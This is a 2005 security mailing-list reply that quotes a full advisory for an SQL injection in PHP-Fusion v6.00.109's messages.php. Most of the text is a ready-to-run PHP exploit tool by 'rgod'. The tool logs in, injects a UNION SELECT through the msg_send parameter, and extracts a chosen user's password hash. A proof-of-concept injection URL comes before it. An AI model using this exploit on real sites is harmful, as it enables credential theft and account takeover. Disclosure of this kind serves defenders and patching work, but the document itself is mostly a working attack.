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Re: PHP-Fusion v6.00.109 SQL Injection / admin|users credentials disclosure
From: Petko Petkov <ppetkov () gnucitizen org>
Date: Thu, 29 Sep 2005 09:28:13 +0100

I believe that this thing has been discovered and fixed long time ago.
check this out, maybe I am wrong:
http://www.gnucitizen.org/writings/php-fusion-messages.php-sql-injection-vulnerability.xhtml

Regards,
Petko Petkov

retrogod () aliceposta it wrote:

PHP-Fusion v6.00.109 SQL Injection / admin|users credentials disclosure

site: http://www.php-fusion.co.uk



- if magic_quotes off -> SQL Injection, poc:

http://[target]/[path_to_Php_Fusion]/messages.php?msg_send=&apos; UNION SELECT user_password FROM fusion_users WHERE 
user_name='[admin_username]'/*

now hash is showed in "To:" field when you post a private message


this is the tool:

<?php
#   19.17 28/09/2005                                                           #
#                                                                              #
#   -- PhpF6_00_109xpl.php                                                     #
#                                                                              #
#   PHP-Fusion v6.00.109 SQL Injection / admin|users credentials disclosure    #
#                                                                              #
#                                by rgod                                       #
#                      site: http://rgod.altervista.org                        #
#                                                                              #
#   mphhh, private messages again...tze,tze                                    #
#                                                                              #
#   make these changes in php.ini if you have troubles                         #
#   to launch this script:                                                     #
#   allow_call_time_pass_reference = on                                        #
#   register_globals = on                                                      #
#                                                                              #
#   usage: launch this script from Apache, fill requested fields, then         #
#   go!                                                                        #
#                                                                              #
#   Sun-Tzu: "Therefore the clever combatant imposes his will on the enemy,    #
#   but does not allow the enemy's will to be imposed on him"                  #

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 2);
ob_implicit_flush (1);

echo'<head><title> *** PHP-Fusion  v6.00.109  SQL  Injection ***  </title> <meta
http-equiv= "Content-Type"   content="text/html;   charset=iso-8859-1">   <style
type="text/css"><!-- body,td,th {color:#00FF00;} body{background-color: #000000;}
.Stile5 {font-family: Verdana, Arial, Helvetica,  sans-serif; font-size: 10px; }
.Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif; font-weight:  bold;
font-style: italic; } --> </style></head><body> <p class="Stile6"> Php-Fusion v6.
00.109  SQL Injection / admin|user credentials disclosure </p><p class="Stile6">
a script  by rgod at <a href="http://rgod.altervista.org";       target="_blank">
http://rgod.altervista.org</a></p><table width="84%"><tr><td width="43%">  <form
name="form1"  method="post"  action="'.$SERVER[PHP_SELF].'?path=value&host=value
&port=value&proxy=value&user=value&pass=value&username=value">   <p>      <input
type="text" name="host"><span class="Stile5"> hostname ( ex:  www.sitename.com )
</span></p> <p> <input type="text" name="path"><span class="Stile5">  path  (ex:
/phpfusion/ or just /)</span></p><p> <input  type="text"  name="port">     <span
class="Stile5">specify a port other than 80 (default value)</span></p><p> <input
type="text" name="user"> <span  class="Stile5">your username </span> </p>    <p>
<input type="text" name="pass"> <span  class="Stile5">your password ( to  get  a
valid session cookie) </span></p><p><input type="text" name="username">    <span
class="Stile5">user  whom you want the password </span></p><p><input type="text"
name="proxy"> <span class="Stile5"> send  exploit  trough  an HTTP proxy </span>
</p> <p> <input type="submit"name="Submit"  value="go!"> </p></form> </td> </tr>
</table></body></html>';

function show($headeri)
{
$ii=0;
$ji=0;
$ki=0;
$ci=0;
echo '<table border="0"><tr>';
while ($ii <= strlen($headeri)-1)
{
$datai=dechex(ord($headeri[$ii]));
if ($ji==16) {
            $ji=0;
            $ci++;
            echo "<td>&nbsp;&nbsp;</td>";
            for ($li=0; $li<=15; $li++)
                     { echo "<td>".$headeri[$li+$ki]."</td>";
                          }
           $ki=$ki+16;
           echo "</tr><tr>";
           }
if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else
{echo "<td>".$datai."</td> ";}
$ii++;
$ji++;
}
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++)
                     { echo "<td>&nbsp&nbsp</td>";
                      }

for ($li=$ci*16; $li<=strlen($headeri); $li++)
                     { echo "<td>".$headeri[$li]."</td>";
                          }
echo "</tr></table>";
}

$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function sendpacket()
{
global $proxy, $host, $port, $html, $packet;
if ($proxy=='')
          {$ock=fsockopen(gethostbyname($host),$port);}
            else
          {
          if (!eregi($proxy_regex,$proxy))
          {echo htmlentities($proxy).' -> not a valid proxy...';
           die;
          }
         $parts=explode(':',$proxy);
          echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
          $ock=fsockopen($parts[0],$parts[1]);
          if (!$ock) { echo 'No response from proxy...';
                      die;
                     }
         }
fputs($ock,$packet);
if ($proxy=='')
 {
   $html='';
   while (!feof($ock))
     {
       $html.=fgets($ock);
     }
 }
else
 {
   $html='';
   while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
   {
     $html.=fread($ock,2048);
   }
 }
fclose($ock);
echo nl2br(htmlentities($html));
}


if (($path<>'') and ($host<>'') and ($user<>'') and ($pass<>'') and ($username<>''))
{
 if ($port=='') {$port=80;}

#STEP 1 -> login, to retrieve a session cookie...

$data="user_name=".urlencode(trim($user))."&user_pass=".urlencode(trim($pass))."&login=Login";
if ($proxy=='')
{$packet="POST ".$path."news.php HTTP/1.1\r\n";}
else
{$packet="POST http://".$host.$path."news.php HTTP/1.1\r\n";}

$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, 
application/msword, */*\r\n";
$packet.="Referer: http://".$host.$path."/news.php\r\n";;
$packet.="Accept-Language: en\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Accept-Encoding: gzip, deflate\r\n";
$packet.="User-Agent: Googlebot/2.1\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Keep-Alive\r\n";
$packet.="Cache-Control: no-cache\r\n";
$packet.="Cookie: fusion_visited=yes; PHPSESSID=44ab49664b56b97036425427b1ffb8cf\r\n\r\n";
$packet.=$data;
show($packet);
sendpacket($packet);
$temp=explode("Set-Cookie: ",$html);
$temp2=explode(' ',$temp[1]);
$cookie=$temp2[0];
echo '<br>Your cookie: '.htmlentities($cookie);

# STEP 2 -> SQL Injection, now retrieve the MD5 password hash from database
$username=str_replace("'","",$username);
$sql="' UNION SELECT user_password FROM fusion_users WHERE user_name='".trim($username)."'/*";

if ($proxy=='')
{$packet="GET ".$path."messages.php?msg_send=".urlencode($sql)." HTTP/1.1\r\n";}
else
{$packet="GET http://".$host.$path."messages.php?msg_send=".urlencode($sql)." HTTP/1.1\r\n";}

$packet.="User-Agent: GameBoy, Powered by Nintendo\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, 
image/x-xbitmap, */*;q=0.1\r\n";
$packet.="Accept-Language: en\r\n";
$packet.="Accept-Charset: windows-1252, utf-8, utf-16, iso-8859-1;q=0.6, *;q=0.1\r\n";
$packet.="Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0\r\n";
$packet.="Cookie: ".$cookie."\r\n";
$packet.="Cookie2: \$Version=1\r\n";
$packet.="Connection: Keep-Alive, TE\r\n";
$packet.="TE: deflate, gzip, chunked, identity, trailers\r\n\r\n";
show($packet);
sendpacket($packet);
if (eregi('For Members only',$html)) {echo 'You have to specify a valid session cookie...'; die; }
$temp=explode("'Click to view the senders profile'>",$html);
$temp2=explode("</a>",$temp[1]);
$hash=$temp2[0];
echo '<br>Username: '.htmlentities($username).' Password hash: '.$hash;

}
else
{ echo '<br> Fill requested fields, optionally specify a proxy...';}

?>

rgod 
site: http://rgod.altervista.org
mail: retrogod () aliceposta it
original advisory:
http://rgod.altervista.org/phpfusion600109.html




 



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